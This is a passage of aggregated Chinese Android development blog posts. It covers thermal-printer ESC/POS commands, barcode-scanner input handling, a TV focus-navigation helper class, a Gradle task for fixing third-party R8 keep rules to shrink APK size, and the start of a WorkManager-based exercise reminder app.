result[0] = ESC;
result[1] = 97;
result[2] = 0;
return result;
}
打印位置设置为居中对齐指令
/**
* 居中对齐
*/
public static byte[] alignCenter() {
byte[] result = new byte[3];
result[0] = ESC;
result[1] = 97;
result[2] = 1;
return result;
}
打印位置设置居右对齐指令
/**
* 居右
*/
public static byte[] alignRight() {
byte[] result = new byte[3];
result[0] = ESC;
result[1] = 97;
result[2] = 2;
return result;
}
打印结束切刀指令
//切刀
public static byte[] cutter() {
byte[] box = new byte[6];
box[0] = 0x1B;
box[1] = 0x64;
box[2] = 0x01;
box[3] = 0x1d;
box[4] = 0x56;
box[5] = 0x31;
// byte[] data = new byte[]{0x1d, 0x56, 0x01};
return box;
}
打印文字
/**
* 打印文字
*
* @param msg
*/
///**
// * 安卓9.0之前
// * 只要你传送的数据不大于16384 bytes,传送不会出问题,一旦数据大于16384 bytes,也可以传送,
// * 只是大于16384后面的数据就会丢失,获取到的数据永远都是前面的16384 bytes,
// * 所以,android USB Host 模式与HID使用bulkTransfer(endpoint,buffer,length,timeout)通讯时
// * buffer的长度不能超过16384。
// * <p>
// * controlTransfer( int requestType, int request , int value , int index , byte[] buffer , int length , int timeout)
// * 该方法通过0节点向此设备传输数据,传输的方向取决于请求的类别,如果requestType 为 USB_DIR_OUT 则为写数据 , USB _DIR_IN ,则为读数据
// */
fun printText(msg: String) {
try {
write(msg.toByteArray(charset("gbk")))
} catch (e: UnsupportedEncodingException) {
e.printStackTrace()
}
}
打印图片,条码,二维码,可以将图片条码二维码转化为bitmap,然后再打印
//光栅位图打印
public static byte[] printBitmap(Bitmap bitmap) {
byte[] bytes1 = new byte[4];
bytes1[0] = GS;
bytes1[1] = 0x76;
bytes1[2] = 0x30;
bytes1[3] = 0x00;
byte[] bytes2 = getBytesFromBitMap(bitmap);
return byteMerger(bytes1, bytes2);
}
蓝牙打印机,放在下一篇文章介绍吧,一起介绍蓝牙,及蓝牙打印
五、扫码枪、支付盒子、键盘、鼠标使用
扫码枪,支付盒子,键盘,鼠标都是USB连接设备,只需要插入Android 设备即可,前提是Android 设备硬件含有USB 接口,比如智能硬件 收银机,收银秤,车载插入U盘等
收银机 扫码枪、支付盒子 怎么扫码的?
大家知道,我们的支付码,条码,其实是一串数字内容的,扫到后是怎么解析的?
有两种方式的
方式1:广播接收如下:
- 先注册扫码广播
<receiver android:name=".ScanGunReceiver">
<intent-filter>
<!-- 这里的 "SCAN_ACTION" 是扫码枪触发的action,需要替换为实际的值 -->
<action android:name="SCAN_ACTION" />
</intent-filter>
</receiver>
2. 在广播接收器里面拿到扫码内容
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class ScanGunReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
// 获取扫码内容,这里的 "SCAN_RESULT" 是扫码枪提供的action,具体可能不同
String scanContent = intent.getStringExtra("SCAN_RESULT");
// 处理扫码内容
if (scanContent != null) {
// 扫码内容非空,执行相关逻辑
}
}
}
方式2:在Activity的onKeyDown
方法中监听,或者在Dialog.setOnKeyListener
里面onKey
中接收
- Activity中onKeyDown:中解析每一个keyCode对应的数字值
override fun onKeyDown(keyCode: Int, event: KeyEvent?): Boolean {
if (KeyUtils.doNotSwitchViewPagerByKey(keyCode)) {
//按了键盘上 左右键 tab 键
return true
}
scanHelpL.get().acceptKey(this, keyCode) {
viewModel.scanByBarcode(it)
}
return super.onKeyDown(keyCode, event)
}
2. keyCode值与具体对照值如下:
object KeyUtils {
//控制按键 左右 tab 键 不切换 viewpage
fun doNotSwitchViewPagerByKey(keyCode: Int) = keyCode == KeyEvent.KEYCODE_DPAD_UP || keyCode == KeyEvent.KEYCODE_DPAD_DOWN || keyCode == KeyEvent.KEYCODE_DPAD_LEFT || keyCode == KeyEvent.KEYCODE_DPAD_RIGHT || keyCode == KeyEvent.KEYCODE_TAB
/**
* keyCode转换为字符
*/
fun keyCodeToChar(code: Int, isShift: Boolean): String{
return when (code) {
KeyEvent.KEYCODE_SHIFT_LEFT -> ""
KeyEvent.KEYCODE_0 -> if (isShift) ")" else "0"
KeyEvent.KEYCODE_1 -> if (isShift) "!" else "1"
KeyEvent.KEYCODE_2 -> if (isShift) "@" else "2"
KeyEvent.KEYCODE_3 -> if (isShift) "#" else "3"
KeyEvent.KEYCODE_4 -> if (isShift) "$" else "4"
KeyEvent.KEYCODE_5 -> if (isShift) "%" else "5"
KeyEvent.KEYCODE_6 -> if (isShift) "^" else "6"
KeyEvent.KEYCODE_7 -> if (isShift) "&" else "7"
KeyEvent.KEYCODE_8 -> if (isShift) "*" else "8"
KeyEvent.KEYCODE_9 -> if (isShift) "(" else "9"
KeyEvent.KEYCODE_A -> if (isShift) "A" else "a"
KeyEvent.KEYCODE_B -> if (isShift) "B" else "b"
KeyEvent.KEYCODE_C -> if (isShift) "C" else "c"
KeyEvent.KEYCODE_D -> if (isShift) "D" else "d"
KeyEvent.KEYCODE_E -> if (isShift) "E" else "e"
KeyEvent.KEYCODE_F -> if (isShift) "F" else "f"
KeyEvent.KEYCODE_G -> if (isShift) "G" else "g"
KeyEvent.KEYCODE_H -> if (isShift) "H" else "h"
KeyEvent.KEYCODE_I -> if (isShift) "I" else "i"
KeyEvent.KEYCODE_J -> if (isShift) "J" else "j"
KeyEvent.KEYCODE_K -> if (isShift) "K" else "k"
KeyEvent.KEYCODE_L -> if (isShift) "L" else "l"
KeyEvent.KEYCODE_M -> if (isShift) "M" else "m"
KeyEvent.KEYCODE_N -> if (isShift) "N" else "n"
KeyEvent.KEYCODE_O -> if (isShift) "O" else "o"
KeyEvent.KEYCODE_P -> if (isShift) "P" else "p"
KeyEvent.KEYCODE_Q -> if (isShift) "Q" else "q"
KeyEvent.KEYCODE_R -> if (isShift) "R" else "r"
KeyEvent.KEYCODE_S -> if (isShift) "S" else "s"
KeyEvent.KEYCODE_T -> if (isShift) "T" else "t"
KeyEvent.KEYCODE_U -> if (isShift) "U" else "u"
KeyEvent.KEYCODE_V -> if (isShift) "V" else "v"
KeyEvent.KEYCODE_W -> if (isShift) "W" else "w"
KeyEvent.KEYCODE_X -> if (isShift) "X" else "x"
KeyEvent.KEYCODE_Y -> if (isShift) "Y" else "y"
KeyEvent.KEYCODE_Z -> if (isShift) "Z" else "z"
else -> ""
}
}
}
3. 扫码枪和支付盒子扫完,最后一位是回车键:检测到回车键值时候,就可以将扫到的码的内容 提交出去处理支付等操作。如下:
private fun acceptKey(keyCode: Int, block: (result: String) -> Unit) {
//监听扫码广播
if (keyCode != KeyEvent.KEYCODE_ENTER) {
if (isDeleteStringBuilder) {
val tmp: String = KeyUtils.keyCodeToChar(keyCode, hasShift)
stringBuilder.append(tmp)
hasShift = keyCode == KeyEvent.KEYCODE_SHIFT_LEFT
}
} else if (keyCode == KeyEvent.KEYCODE_ENTER) {
if (isDeleteStringBuilder) {
isDeleteStringBuilder = false
if (!TextUtils.isEmpty(stringBuilder.toString())) {
block?.invoke(stringBuilder.toString())
}
stringBuilder.delete(0, stringBuilder.length)
isDeleteStringBuilder = true
}
}
}
需要注意的是,扫码枪,支付盒子,键盘都是输入设备,要避免UI视图上面 控件焦点设置为 false,同时界面不能有 EditText控件,否则会将扫到的内容自动填入EditText控件里面去。
六、总结
本文重点介绍了Android 智能嵌入式设备,接入串口,USB,打印机,扫码枪支付盒子,键盘鼠标等,接入的简单开发。当然涉及到的蓝牙,蓝牙打印机,分屏这些会在后面的文章中进行介绍。
感谢阅读:
欢迎 关注,点赞、收藏
这里你会学到不一样的东西
来源:juejin.cn/post/7439231301869305910
Android电视项目焦点跨层级流转
1. 背景
在智家电视项目中,主要操作方式不是触摸,而是遥控器,通过Focus进行移动,确定点击进行的交互,所以在电视项目中焦点、选中、确定、返回这几个交互比较重要。由于电视屏比较大,在一些复杂页面中会存在一级Tab选择,二级选择,三级选择等,这就涉及到了焦点与选中的联动实现业务逻辑。这块的逻辑比较复杂,在做好了一个页面后,把这块的内容记录一下,同时提炼出了一个辅助类,MultiLevelFocusHelper,后续可进行复用。
2. 基本使用:遥控器+焦点控制
2.1 使用原则
Android原生就能比较好的支持Focus及切换,使用时只要按照它本身的逻辑使用就好,如果碰到不能很好支撑业务的时候再进行扩展,如下是我们小组实践过后,总结出来的几项原则,实际效果很好:
- 不进行过度控制,使用默认规则
- 使用focusable、descendantFocusability把XML中的控件按照父控件统一管控,如必须下放时再进行子控件控制
- nextFocusUp、nextFocusDown、nextFocusLeft、nextFocusRight、nextFocusForward这几个属性不要轻易使用,只要在需要定制的复杂页面才有可能用到
2.2 View中涉及到焦点的几个属性
属性 | 使用 场景 说明 |
focusable | 物理按键时获得焦点的属性 android:focusable="false" android:focusable="true" |
descendantFocusability | 该属性是当一个view获取焦点时,定义viewGr0up和其子控件两者之间的关系,属性的值有三种:- beforeDescendants:viewgroup会优先其子类控件而获取到焦点 |
- afterDescendants:viewgroup只有当其子类控件不需要获取焦点时才获取焦点
- blocksDescendants:viewgroup会覆盖子类控件而直接获得焦点 |
| nextFocusUpnextFocusDownnextFocusLeftnextFocusRight | android:nextFocusUp-定义当点up键时,哪个控件将获得焦点android:nextFocusDown-定义当点down键时,哪个控件将获得焦点android:nextFocusLeft-定义当点left键时,哪个控件将获得焦点android:nextFocusRight--定义当点right键时,哪个控件将获得焦点 |
| nextFocusForward | 我是谁,我有什么用??? |
2.3 如何使用
- XML中从顶到细,一层一层的看,如果此View及其子View不需要获得焦点,则直接把它的焦点屏蔽掉
android:focusable="false"
android:descendantFocusability="blocksDescendants"
2. 如果只有此ViewGr0up需要获得焦点,它的子View不需要,则设置如下
android:focusable="true"
android:descendantFocusability="blocksDescendants"
3. RecyclerView或ListView,根据需要,如果是简单的能自动处理的则只修改XML即可,否则可以XML+代码进行控制
// 1. 第一种情况:recyclerView的 xml 设置 recyclerView 不获得焦点,子控件获得焦点
android:focusable="false"
android:descendantFocusability="afterDescendants"
// recyclerView的item 布局中添加
android:focusable="true"
android:descendantFocusability="blocksDescendants"
// 2. 第二种情况:代码控制时, recyclerView先获得焦点,然后根据需要,再在它的OnFocusChangeListener中进行焦点转移
android:focusable="true"
android:descendantFocusability="beforeDescendants"
4. 至此,如果没有特殊的需求,只是简单的焦点控制,通过XML配置属性+Android强大的默认功能即可完成
3. 高级用法:增加层级
3.1 层级是什么? 为什么要有三态?
如图,感兴趣的往下看,一切尽在图中,祭镇楼图
- 图中的设备列表与全屋节能信息构成了一级焦点,后边的节电数据范围是二级焦点,它俩是一个整体,这里暂且起名叫节能数据查看
- 其中全屋节能信息是一个ViewGr0up,下边的设备列表是一个RecyclerView
- 图中的帮助按钮是另一个可欺获得焦点的控件,与上边的节能数据查看是并列关系
- 根据以上分析,得出:层级就是 完成同一个功能的多级多控件的可分别获得焦点的聚合体,特点如下:
- 焦点可在多级中的多个控件中自由流转,同时只有一个控件具备焦点
- 在同一级中,如果没有焦点,则需要有一个控件具备已选中状态,由此引出了三态:有焦点、无焦点选中、无焦点未选中
- 焦点在多级流转时有一定的规则,大部分情况下是从一级流向另一级时,优先流到已选中的控件上
- 多级具备方向性,比如1->2->3-4, 或 4->3->2->1, 在这个模型中,不可以跨级流转,如果后续有跨级流转的业务需求,再另说(产品经理不要搞太复杂呀...)
3.2 自定义的层级管理辅助类:MultiLevelFocusHelper
基于以上的层级焦点定义,我封装了一个辅助类,MultiLevelFocusHelper,可用于简化层级焦点的操作实现,它主要实现的功能有:
- 当某一层级的控件获得焦点时,通过它可记录最新的有焦点控件,并同时设置其中选中状态
- 设置当前层级有焦点的控件往下一级流转时的按键,并精准定位到下一级的选中控件上
- 获得所有层级的当前控件对应的附加数据
- 遵循了最小实现、不过渡设计的原则,当前只实现了两级,如果将来需要支持更多的级数,可扩展此类
代码如下:
class MultiLevelFocusHelper(private val totalLevel: Int) {
private var mCurLevel1View: View? = null
private var mCurLevel1ViewId: Int? = null
private var mCurLevel1Data: Any? = null
private var mCurLevel2View: View? = null
private var mCurLevel2ViewId: Int? = null
private var mCurLevel2Data: Any? = null
/**
* 某一个控件得到了焦点
* @param level: 得到焦点的控件的层级
* @param view: 得到焦点的控件
* @param viewId: 得到焦点的控件的Id,如果是recycleView,则设置它的父控件的Id,主要是为的是上下级Level切换
* @param extraData: 得到焦点的控件对应的附属数据,暂存一下,后续业务需要时可直接get
* @param nextLevelMoveDirect:
*/
fun receiveFocus(level: Int, view: View, viewId: Int, extraData: Any) {
if (level > totalLevel) return
when(level) {
1 -> {
if (mCurLevel1View != null) {
mCurLevel1View!!.isSelected = false
}
mCurLevel1View = view
mCurLevel1View!!.isSelected = true
mCurLevel1ViewId = viewId
mCurLevel1Data = extraData
}
2 -> {
if (mCurLevel2View != null) {
mCurLevel2View!!.isSelected = false
}
mCurLevel2View = view
mCurLevel2View!!.isSelected = true
mCurLevel2ViewId = viewId
mCurLevel2Data = extraData
}
else -> {
// nothing
}
}
}
/**
* 设置某一层级当前选中View的 nextFocusLeftId, nextFocusDownId 等
* @param moveDirect, 移动方向,用于决定设置当前级Level的哪个属性 nextFocusLeftId 等。 传入值:使用本类中定义的四个常量值,多个方向时可进行&运算再传进来
* @param moveCommander, 移动命令,是前进还是后退,用于确定要设置的Value是上一级还是下一步当前选中的View
* 为 null,忽略,如果是头尾的,只有一个方向,直接设就行。 如果是中间的则忽略不进行设置了。
*/
fun setDirectToCurrentView(level: Int, moveDirect: Int, moveCommander: MoveCommander? = null) {
if (level > totalLevel) return
when(level) {
1 -> {
// 第一层,只能往下移,不能回移
setNextMoveTarget(mCurLevel1View, moveDirect, mCurLevel2ViewId)
}
2 -> {
if (level < totalLevel) {
if (moveCommander != null) {
if (moveCommander == MoveCommander.forward) {
// TODO, 当 totalLevel 大于等于 3 的时候,加上这一个分支, 它应该往 3 去移动了
// setNextMoveTarget(mCurLevel2View, moveDirect, mCurLevel3ViewId)
} else {
setNextMoveTarget(mCurLevel2View, moveDirect, mCurLevel1ViewId)
}
}
} else {
// 这是最后一层, 只有一个方向
setNextMoveTarget(mCurLevel2View, moveDirect, mCurLevel1ViewId)
}
}
else -> {
// nothing
}
}
}
/**
* 所有控件失去焦点, 暂时应该没有场景调到它,如果有的话,需要考虑一下行为是否正确
*/
fun clearAllFocus() {
if (mCurLevel1View != null) {
mCurLevel1View!!.isSelected = false
}
mCurLevel1Data = null
if (mCurLevel2View != null) {
mCurLevel2View!!.isSelected = false
}
mCurLevel2Data = null
}
/**
* 获得某一层当前选中控件对应的 View
*/
fun getView(level: Int): View? {
if (level > totalLevel) return null
return when(level) {
1 -> {
mCurLevel1View
}
2 -> {
mCurLevel2View
}
else -> {
null
}
}
}
/**
* 获得某一层当前选中控件对应的数据
*/
fun getData(level: Int): Any? {
if (level > totalLevel) return null
return when(level) {
1 -> {
mCurLevel1Data
}
2 -> {
mCurLevel2Data
}
else -> {
null
}
}
}
private fun setNextMoveTarget(view: View?, direct: Int?, nextViewId: Int?) {
if (view == null || direct == null || nextViewId == null) {
return
}
if (direct and Direct_Up > 0) {
view.nextFocusUpId = nextViewId
}
if (direct and Direct_Right > 0) {
view.nextFocusRightId = nextViewId
}
if (direct and Direct_Down > 0) {
view.nextFocusDownId = nextViewId
view.nextFocusDownId
}
if (direct and Direct_Left > 0) {
view.nextFocusLeftId = nextViewId
}
}
}
3.3 MultiLevelFocusHelper要点说明
- 构造函数中的参数 totalLevel
- 总级数,从1开始的, 比如totalLevel为3, 则所有级别即为1,2,3
- 目前 totalLevel 最大为 2,超过2 按 2 计算
- 对外函数receiveFocus(level: Int, view: View, viewId: Int, extraData: Any)
- 当层级中的某一个控件获得焦点时调用此函数
- 参数说明
- *@ *param level: 得到焦点的控件的层级
- @param view: 得到焦点的控件
- @param viewId: 得到焦点的控件的Id,如果是recycleView,则设置它的父控件的Id,主要是为的是上下级Level切换
- @param extraData: 得到焦点的控件对应的附属数据,暂存一下,后续业务需要时可直接get
- 这里的 viewId 可以是 view 的Id,也可以不是, 基本用法是,如果是ListView或RecyclerView,则可以把viewId设置为 recyclerView 的Id,这样再在业务代码的 recyclerView 获得焦点事件中转一下即可
- 层级流转
- level 移动顺序: 目前是一个约定,不能自定义。 1->2->3->4, 或 4->3->2->1。 如果后续有不同需求,可以再进行扩充
- 两个概念:MoveCommander, MoveDirect:
// 层级移动命令,向前进,还是后退,参考按照类说明了中的移动顺序
enum class MoveCommander {
forward,
back
}
// 焦点移动方向,比如按了遥控器上的上下左右, 使用Int值表示, 多个方向时可以进行&运算
val Direct_Up = 0x01
val Direct_Right = 0x02
val Direct_Down = 0x04
val Direct_Left = 0x08
- 对外函数:setDirectToCurrentView(level: Int, moveDirect: Int, moveCommander: MoveCommander? = null)
- 设置某一层级当前选中View的 nextFocusLeftId, nextFocusDownId 等,当某一个控件获得焦点后,再马上调用此函数设置一下
- 参数说明
- moveDirect, 移动方向,用于决定设置当前级Level的哪个属性 nextFocusLeftId 等。 传入值:使用本类中定义的四个常量值,多个方向时可进行&运算再传进来
- moveCommander, 移动命令,是前进还是后退,用于确定要设置的Value是上一级还是下一步当前选中的View为 null,忽略,如果是头尾的,只有一个方向,直接设就行。 如果是中间的则忽略不进行设置了
4. 使用实例
这里附上全屋节能的使用示例,它结合了 MultiLevelFocusHelper,并在Activity中实现了业务关联的一部分代码
4.1 相关控件的XML设置
- 设置所有没有焦点的控件中的属性, focusable 和 descendantFocusability
- 有焦点的控件属性设置上, focusable 和 descendantFocusability
- recyclerView 设置为: android:focusable="true" android:descendantFocusability="beforeDescendants"
4.2 帮助按钮的Focus监听不必设置,使用系统默认的即可
4.3 初始化时,把默认的Focus给到 一级中的全屋信息
mMultiLevelFocusHelper.receiveFocus(1, mFullHouseSaveInfo, mFullHouseSaveInfo.id, "all") // 初始一化一下 mMultiLevelFocusChangeManager 中的状态
mMultiLevelFocusHelper.setDirectToCurrentView(1, MultiLevelFocusHelper.Direct_Right)
mMultiLevelFocusHelper.receiveFocus(2, mTextViewSaveElectricDurationLastMonth, mTextViewSaveElectricDurationLastMonth.id, ElectricIndexDateRange.LAST_MONTH)
mMultiLevelFocusHelper.setDirectToCurrentView(2, MultiLevelFocusHelper.Direct_Down)
mFullHouseSaveInfo.requestFocus()
4.4 RecyclerView 和 它的 item 设置 OnFocusChangeListener
mRecyclerViewDeviceDetailInfo.setOnFocusChangeListener(object : OnFocusChangeListener {
override fun onFocusChange(v: View?, hasFocus: Boolean) {
if (v == null) return
if (!hasFocus) return
val view = mMultiLevelFocusHelper.getView(1)
val tag = view?.getTag() // 看它有没有存 tag 来判断它是不是 recyclerView 的 item
if (view == null || tag == null) {
// 没有上一次的View 或 上一次的第一层View 不是 recyclerView的 item 时
if (mRecyclerViewDeviceDetailInfo.getChildAt(0) != null) {
mRecyclerViewDeviceDetailInfo.getChildAt(0).requestFocus()
}
} else {
view.requestFocus()
}
}
})
// 这里的最后一个参数 OnFocusChangeListener, 内部又传给了 item, 当它有 FocusChange事件时,再转调用此参数实例
mAdapterDeviceDetailInfo = SaveEnergyAdapterDeviceDetailInfo(
mViewModal.getAllSavingDevice(),
mViewModal.getAllSavingDeviceRank(),
mViewModal.getAllSavingSwitchStatus(),
object: OnFocusChangeListener {
// 给 设备列表的 recycleview item 设置焦点移动回调
override fun onFocusChange(v: View?, hasFocus: Boolean) {
if (v == null) {
return
}
if (!hasFocus) {
return
}
val deviceId = v.getTag()
mMultiLevelFocusHelper.receiveFocus(1, v, mRecyclerViewDeviceDetailInfo.id, deviceId)
mMultiLevelFocusHelper.setDirectToCurrentView(1, MultiLevelFocusHelper.Direct_Right)
initSavingElectricData()
}
})
这里啰嗦一下,RecyclerView拿到焦点时,把焦点转给它下边的之前具有焦点的控件;item中的view有一个tag,存的是业务数据(deviceId),当它拿到焦点时,取到此业务数据,传入到了 mMultiLevelFocusHelper 中
4.5 设置全屋信息 和 所有二级控件的 setOnFocusChangeListener,代码略
5. 总结
- 如果没有特殊的需求,只是简单的焦点控制,通过XML配置属性+Android强大的默认功能即可完成。
- 如果具有多个层级,焦点需要在多层级间进行流转并需要记忆功能,则可使用MultiLevelFocusHelper类,经过实践检验,可完美应用于此场景。
6. 团队介绍
「三翼鸟数字化技术平台-场景设计交互平台」主要负责设计工具的研发,包括营销设计工具、家电VR设计和展示、水电暖通前置设计能力,研发并沉淀素材库,构建家居家装素材库,集成户型库、全品类产品库、设计方案库、生产工艺模型,打造基于户型和风格的AI设计能力,快速生成算量和报价;同时研发了门店设计师中心和项目中心,包括设计师管理能力和项目经理管理能力。实现了场景全生命周期管理,同时为水,空气,厨房等产业提供商机管理工具,从而实现了以场景贯穿的B端C端全流程系统。
来源:juejin.cn/post/7442541343685148681
如何避免别人的SDK悄悄破坏你App的混淆规则,记一次APK体积优化
所谓的包体积优化,其实根本取决于,更早接触项目的前辈留下了多少机会。最近在重新配置项目的R8规则,有将近10%的优化空间。这里分享一下。
很多关于配置混淆规则的博客,教人随意添加-keep class * entends androidx.**
或者-dontoptimize
、-dontshrink
,甚至给了所谓的“常用万能混淆规则”,估计一些SDK开发者也干脆复制了他们的代码,然后影响到了依赖这些SDK的项目。
好在很容易编写gradle任务改掉SDK向APK贡献的混淆规则。本文AGP版本7.3.1
。
降低包体积 · 先优化我方代码
删掉dontoptimize
先改自己模块的缺点。
主要是自己模块的-dontoptimize
直接删掉。包括proguard-android.txt
改为proguard-android-optimize.txt
,这两个文件的区别之一就是是否包含了-dontoptimize
:
buildTypes {
release {
minifyEnabled true
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
通常去掉-dontoptimize
之后,包体积就有明显降低了,如果你删了之后,包体积无任何变化,就说明没删干净,或者是第三方SDK依然在用它,下文继续处理。
多观察printconfiguration
可以在混淆规则里添加一个-printconfiguration 'configuration.txt'
,
然后打个minifyEnabled true
的包,再用AS直接找到configuration.txt
文件,这里就是项目和第三方SDK配置的所有混淆规则。
我们项目到这里就开始崩溃了,主要是GSON相关问题,查前辈的博客要警惕,因为有两种方案:
-dontoptimize
-dontshrink
# 然后就是各种keep...
以及:
-keep,allowobfuscation,allowshrinking class com.google.gson.reflect.TypeToken
-keep,allowobfuscation,allowshrinking class * extends com.google.gson.reflect.TypeToken
前者更容易被搜到,但这种做法等于第一步白做了。
如果项目用的Gson库比较旧,按照后者去配。
如果用的是2.11及更高版本,其实也不会遇到这个崩溃问题了,因为它开始内置自己需要的混淆规则,无需我们配置。从configuration.txt
就能看到:
# The proguard configuration file for the following section is /home/这里无所谓忽略/transformed/rules/lib/META-INF/proguard/gson.pro
# 太长了,这里忽略
# Keep class TypeToken (respectively its generic signature) if present
-if class com.google.gson.reflect.TypeToken
-keep,allowobfuscation class com.google.gson.reflect.TypeToken
# Keep any (anonymous) classes extending TypeToken
-keep,allowobfuscation class * extends com.google.gson.reflect.TypeToken
# Keep classes with @JsonAdapter annotation
-keep,allowobfuscation,allowoptimization @com.google.gson.annotations.JsonAdapter class *
# 太长了,这里忽略
# End of content from /home/这里无所谓忽略/transformed/rules/lib/META-INF/proguard/gson.pro
改掉不良习惯
比如我们这里竟然有-keep class * implements java.io.Serializable
、-keep class * extends java.io.Serializable
,然后Serializable
接口一直起到的就是@Keep
的作用。后来又当需要往intent传入数据时,刚好发现某个类,正好啊,实现了Serializable接口,直接putSerializable
···这也算是代码越来越劣化的因素之一了。
这个规则对包体积影响还是比较大的,因为Kotlin里面的一些lambda(比如by lazy { xxx }
)编译后生成的类也会间接实现Serializable。
还有就是毫无意义的封装该删掉了,比如如今时代竟然还有关于Activity
和ViewModel
的BaseXXX
。原本现在的androidX各种库,只需要一行代码就可创建viewBinding、ViewModel实例,就别再冒着ViewBinding、ViewModel不能被混淆的缺陷,用反射泛型等“高级”技巧“封装”个几十行的BaseXXX...
剩下的一些优化就是根据业务逻辑去降低keep
的范围就好了,主要是小心反射(包括JNI、属性动画)、序列化等少数特殊场景。
降低包体积 · 改变别人
上文提到,如果做了一些优化之后打包效果毫无变化,那就是第三方SDK有问题了。
可以添加这样的混淆规则:-whyareyoukeeping class 这里就写你发现没被混淆的类名
,然后打包时就会输出哪个文件的哪一行规则keep了这个类。
某广告SDK配置了-keep class * entends androidx.**
和-keep class * implements androidx.**
,我不敢推测它们到底在反射调用androidX的哪一部分,反正造成了我们各种ViewModel,ViewBinding等androidX子类没有被混淆、大约3~5%包体积的无用代码没有被R8移除。
SDK本来也不需要反射调用我们自己的业务代码。我需要把它改为-keep class !我们app的包名.**, * entends androidx.**
。
不要想着通过/home/这里无所谓忽略/transformed/...
这个文件去修改第三方库的混淆配置,因为每次打包时,这个目录内容会重新生成。(已踩坑)
方法一:直接解压替换文件
找到不优雅的混淆规则后,如何修改?
如果是AAR文件,可以直接解压软件打开这个AAR,找到proguard.txt文件,替换进压缩包。
如果是JAR,这样:
找不到AAR文件,比如是用implementation
依赖的库?随便进一个类,这样找:
这样就能找到implementation
背后的jar或aar文件了,然后改为用文件依赖的方式。
如果有多个SDK配置了不优雅的规则怎么办?一个个找、一个个改显然比较麻烦,未来更新这些SDK的版本时还要再次修改,所以要探索一下能否通过gradle任务完成这件事。
方法二:编写gradle任务
通过这次,这是我第一次尝试给gradle插件下断点,真是降低了太多观察源码的成本,特此记录...
首先要能方便的在AndroidStudio中查看AGP源码,技巧:直接在app模块build.gradle依赖AGP。为了不影响编译,这里用compileOnly而不是implementation。
compileOnly 'com.android.tools.build:gradle:7.3.1'
然后就可以轻松找到R8相关任务类:
然后配置一个"Configuration"
端口号改一下,避免冲突就行,建议弄大一些,避免电脑对这方面有权限之类的限制。直接点OK就好了。
R8Task类只有几百行,很容易看到混淆相关的入口方法runR8
,打上断点,然后这样让R8运行起来:./gradlew assembleRelease "-Dorg.gradle.debug=true" "-Dorg.gradle.debug.port=15000" --no-daemon
。然后gradle就会等待我们附加上去才会继续运行,这时候就可以点Debug按钮了。
这样,我们需要用gradle任务控制哪个参数,一目了然,自己的各个模块、第三方SDK文件的混淆配置都在这了:
接下来寻找proguardConfigurationFiles
的来源,这里分析过程略过,最终可以确定它来自于ProguardConfigurableTask
这个task的成员configurationFiles
。于是可以编写如下任务:
import com.android.build.gradle.internal.tasks.ProguardConfigurableTask
ConfigurableFileCollection cf;
def fixFoolishRules = tasks.register('fixFoolishRules') {
var iterator = cf.iterator()
while (iterator.hasNext()) {
var item = iterator.next()
if(item.absolutePath.contains("这里过滤一下需要修改的sdk文件名")){
var content = "# file: ${item.absolutePath}\n"
var foolish = "-keep public class * extends androidx.**\n"
var fixed = "-keep public class !自己业务逻辑包名.**, * extends androidx.**\n"
var newContent = item.getText().replace(foolish, fixed)
item.write(content.concat(newContent))
}
}
}
tasks.withType(ProguardConfigurableTask).configureEach { task ->
cf = ((ProguardConfigurableTask)task).configurationFiles
task.finalizedBy(fixFoolishRules)
}
这里有个无所谓的小问题:为什么不能在tasks.register('fixFoolishRules') {
里面直接ProguardConfigurableTask.configurationFiles
,而是要在tasks.withType(ProguardConfigurableTask)...{
里面用这个额外的cf
变量获取,否则会有如下报错,暂时没研究了。
Could not determine the dependencies of task ':app:minifyReleaseWithR8'.
> Could not create task ':app:fixFoolishRules'.
> No such property: configurationFiles for class: com.android.build.gradle.internal.tasks.ProguardConfigurableTask
Possible solutions: configurationFiles
再记录一个踩过的坑:ConfigurableFileCollection
这个类本身继承了FileCollection
接口,而这个接口继承了Iterable<File>
。所以直接用它去遍历就好了。如果尝试去找它的files
成员,进行删除和增加,反而没什么意义,因为每次调用它getFiles
都是在生成一个新的Set对象。
不用担心直接修改这些文件,而不是替换configurationFiles
集合。因为我上文也提到了,/home/这里无所谓忽略/transformed/rules/lib/META-INF/proguard/gson.pro
这种文件每次编译时都会重新生成。
既要激进,又要保守
有一家SDK比较坑,它们的文档,以及AAR内置的混淆规则漏掉了某个包里面的类,但是,我估计他们开发环境一直配着-dontoptimize
,导致他们不会触发这个问题。
还好,一初始化他们的SDK就崩溃了,很容易发现,也就没有带到线上。
但如果有什么SDK犯了类似错误,而且是那种开发阶段不会触发,后续通过热更新或者在线配置之类的触发,那就完蛋了。所以为了避免他们犯错,我主动解包在我们App启动期间就会初始化的SDK,把他们SDK内部代码特有的包名或者类统统全部添加-keep
!
另外就是准备做一个类似于微信频繁崩溃时会触发的“安全模式”(也好像是“修复模式”?忘了名字,以后有时间研究一下他们)。
如果App启动后,发现上次启动成功到进程结束未超过5秒,则先等待版本更新接口返回数据,再决定:是初始化第三方SDK并正常启动,还是弹出强制更新窗口。
(艺高人胆大,不要学...)
如果上文有错误或建议,请指出。
来源:juejin.cn/post/7453809061906645011
Android 工位运动小助手
背景
在社会日益发展的今天,我们大部分人在工位上长时间的办公,从而忽略了站起来活动一下的必要性。时长活动一下有益于身心健康,同时也可以缓解工作的疲劳。基于以上情况,我开发了一个定时提醒用户运动的工具类app.
功能介绍
下面我们来具体看看,这个工具具体的功能吧






第一张图开始设置任务的间隔时间,第二张图是任务准备执行,第三张图是任务已经在执行,第四张图是任务完成了第一次进入到下一次的周期任务。第五,第六张图显示的是通知提醒用户起来活动一下。这个工具可以让你 设置任意时间的周期,然后每n min 后就会提醒你该起来活动一下了。那么具体是怎么实现这个功能的呢?
实现方法
我们使用workManager构建一个周期性的任务,设置一个具体的时间间隔,通过service在需要的时候启动这个任务,就可以让这个任务运行,通过notification,从而提醒用户起来活动一下。
具体实现代码
package com.fly.heat.service
import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.PendingIntent
import android.app.Service
import android.content.Context
import android.content.Intent
import android.content.pm.ServiceInfo
import android.os.Build
import android.os.IBinder
import androidx.annotation.RequiresApi
import androidx.core.app.NotificationCompat
import androidx.work.Constraints
import androidx.work.Data
import androidx.work.NetworkType
import androidx.work.PeriodicWorkRequestBuilder
import androidx.work.WorkManager
import com.fly.heat.R
